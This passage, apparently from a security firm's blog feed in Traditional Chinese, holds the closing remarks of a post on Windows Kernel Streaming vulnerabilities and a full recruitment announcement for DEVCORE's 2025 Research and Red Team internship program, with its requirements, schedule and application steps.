在 Kernel Streaming 中,我認為應該不少潛在的安全性漏洞,他也還有很多元件像是 Hdaudio.sys或是 Usbvideo.sys可能也是個可以看的方向,也是個適合 fuzzing 的地方。如果你是個 Kernel driver 開發者最好不要只有檢查 Irp->Requestormode,Windows 架構下很有可能還是有問題。最後再次強烈建議大家盡速更新 Windows 到最新版本中。

Is that the end of it ?

實際上來說除了 Proxy 類型的漏洞之外,我們還有找到其他更多的 Bug class 使得我們在 Kernel Streaming 上找到超過 20 個漏洞,有些漏洞非常特別,敬請期待 Part III。

Reference

DEVCORE 2025 第七屆實習生計畫

$
0
0

DEVCORE 創立迄今已逾十年,持續專注於提供主動式資安服務,並致力尋找各種安全風險及漏洞,讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能,我們成立了「戴夫寇爾全國資訊安全獎學金」,亦於 2022 年初舉辦首屆實習生計畫,目前為止成果頗豐、超乎預期。

我們很榮幸地宣佈,第七屆實習生計畫將於 2025 三月登場,即日起正式開放報名!為了讓同學們有更充裕的準備時間並獲得更好的實習體驗,本屆在時程上做了一些調整:

  • 延長報名時間,並採取更彈性的申請方式,讓同學能充分展現自身實力
  • 提早公布結果,讓同學更靈活地規劃後續行程

此外,我們也延續了上一屆的分組方式,讓同學們能根據興趣與專長選擇合適的組別:

  • Research 組:適合對漏洞研究有興趣、想挖掘真實漏洞的同學
  • Red Team 組:適合對紅隊技術有興趣、想精進滲透技巧的同學

若您期待加入我們、精進資安技能,煩請詳閱下列資訊後田報名!

實習內容

本次實習分為 Research 及 Red Team 兩個組別,主要內容如下:

  • Research (Binary/Web) 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及撰寫過往漏洞的 Exploit,理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 60 %
    • 1-day 開發 (Exploitation) 30 %
    • 成果報告與準備 10 %
  • Red Team 研究並深入學習紅隊常用技巧,熟悉實戰中會遇到的情境、語言與架構。了解常見漏洞的成因、實際利用方法、嚴苛條件下的利用策略、黑箱測試方式及各種奇技淫巧。學習後滲透時的常見限制、工具概念與原理。
    • 漏洞與技巧的研究及深入學習 70 %
    • Lab 建置或 Bug Bounty 或漏洞挖掘 30 %

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2025 年 3 月初到 2025 年 7 月底,共 5 個月
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 其中一天 14:00 - 18:00 必須到公司同步進度,其餘時間為遠端作業
    • 如果居住雙北外可彈性調整同步方式,但須每個組別統一

招募對象

  • 具有一定程度資安背景的學生,且可每週工作兩天
  • 無其他招募限制,歷屆實習生可重複應徵

預計招收名額

  • Research 組:2~3 人
  • Red Team 組:2~3 人

薪資待遇

每月新台幣 18,000 元(另補助部分交通費)

招募條件資格與流程

實習條件要求

Research (Binary/Web)

  • 基本漏洞利用及挖掘能力
  • 具備研究熱誠,習慣了解技術本質
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題
  • 具備獨立分析開放原始碼專案的能力,能透過分析程式碼理解目標專案的架構
  • 熟悉並理解常見的漏洞成因
    • OWASP Web Top 10
    • Memory Corruption
    • Race Condition
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 有公開的技術 blog/slide、write-ups 或是演講
    • 精通 IDA Pro 或 Ghidra
    • 熟悉任一種網頁程式語言或框架(如:PHP、ASP.NET、Express.js),具備可以建立完整網頁服務的能力
    • 理解 PortSwigger Web Security Academy中的安全議題
    • 獨立挖掘過 0-day 漏洞,或分析過 1-day 的經驗
    • 具備下列其中之一經驗
      • Web Application Exploit
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Red Team

  • 必要條件
    • 熟悉 OWASP Web Top 10
    • 理解 PortSwigger Web Security Academy中所有的安全議題或已完成所有 Lab
    • 理解計算機網路的基本概念
    • 熟悉任一種網頁程式開發方式(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力
    • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究
    • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題
    • 具備可以建置、設定常見伺服器(如:Nginx、Apache、Tomcat、IIS、Active Directory)及作業系統(如:Linux、Windows)的能力
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞
    • 曾經獨立分析過已知漏洞並能撰寫 1-day Exploit
    • 曾經於 CTF 比賽中擔任出題者並建置過題目
    • 擁有 OSCP 證照或同等能力之證照

應徵流程

本次甄選一共分為二個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 履歷內容
  • 簡答題答案
    • 應徵 Research 實習生:
      • 題目一:漏洞重現與分析過程
        • 請提出一個,你印象最深刻或感到有趣、於西元 2022 ~ 2025 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解詳述說明漏洞的成因、利用條件和可以造成的影響。同時,嘗試描述如何復現此漏洞或攻擊鏈,即使無法成功復現,也請記錄研究過程。報告撰寫請參考範本,盡可能詳細,中英不限。
      • 題目二:實習期間想要研究的主題
        • 請提出三個可能選擇的明確主題,並簡單說明提出的理由或想完成的內容,例如:
          • 研究◯◯開源軟體,找到可 RCE 的重大風險弱點。
          • 研究常見的路由器,目標包括:AA-123 路由器、BB-456 無線路由器。
          • 研究常見的筆記平台或軟體,目標包括:XX Note、YY Note。
    • 應徵 Red Team 實習生:
      • 請提出兩個於西元 2022 ~ 2025 年間公開的、與 Web 攻擊面、紅隊手法、漏洞或攻擊鏈相關的技術演講,請說明為什麼挑選這些演講並解釋它們為什麼有趣。
        • 請用你的理解重新以文字詳細解釋這些演講的技術細節,整理成一份 Write-up 以 PDF 格式輸出,並提供任何你覺得可以輔助或證明你理解的附加資料。
        • 這些演講可以來自包含但不限於 Black Hat、DEF CON、OffensiveCon、POC、ZeroConf、Hexacon、HITCON、TROOPERS CONFERENCE 等會議。

第二階段:面試

此階段為 30~120 分鐘(依照組別需求而定,會另行通知)的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

時間軸

  • 2024/12/02 - 2025/01/05 公開招募,接收履歷與第一階段審核
  • 2025/01/06 - 2025/01/23 第二階段面試(若報名踴躍會提前開始面試)
  • 2025/01/24 前回應結果
  • 2025/03/03 第七屆實習計畫於當週開始

報名方式

為了讓有意參加實習計畫的同學有更多時間準備,我們這次嘗試使用 Google 表單作為報名平台。您可以透過填寫表單進行報名,且在截止時間 2025/01/05 23:59以前,您可以隨時編輯已提交的表單,或是重新填寫一份新的表單來更新報名資訊。請注意,我們會以最後一次提交的表單內容作為審核依據。

請於 2025/01/05 23:59前完成填寫 Google 表單並上傳相關附件。以下為填寫表單的注意事項:

  • 檔案經上傳後無法刪除或修改,欲更新檔案請重新填寫一份表單
  • 請務必於截止時間(2025/01/06 23:59)前完成所有表單填寫與檔案上傳,逾期未完成者將視同放棄應徵資格

報名截止後,我們會根據您提交的報名內容進行第一階段審核。審核結果將於 2025/01/13前通知,並安排進一步的面試。最終錄取名單將於 2025/01/24公佈,我們也會同步通知錄取情況。

若有應徵相關問題,請一律寄信到 recruiting_intern@devco.re,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!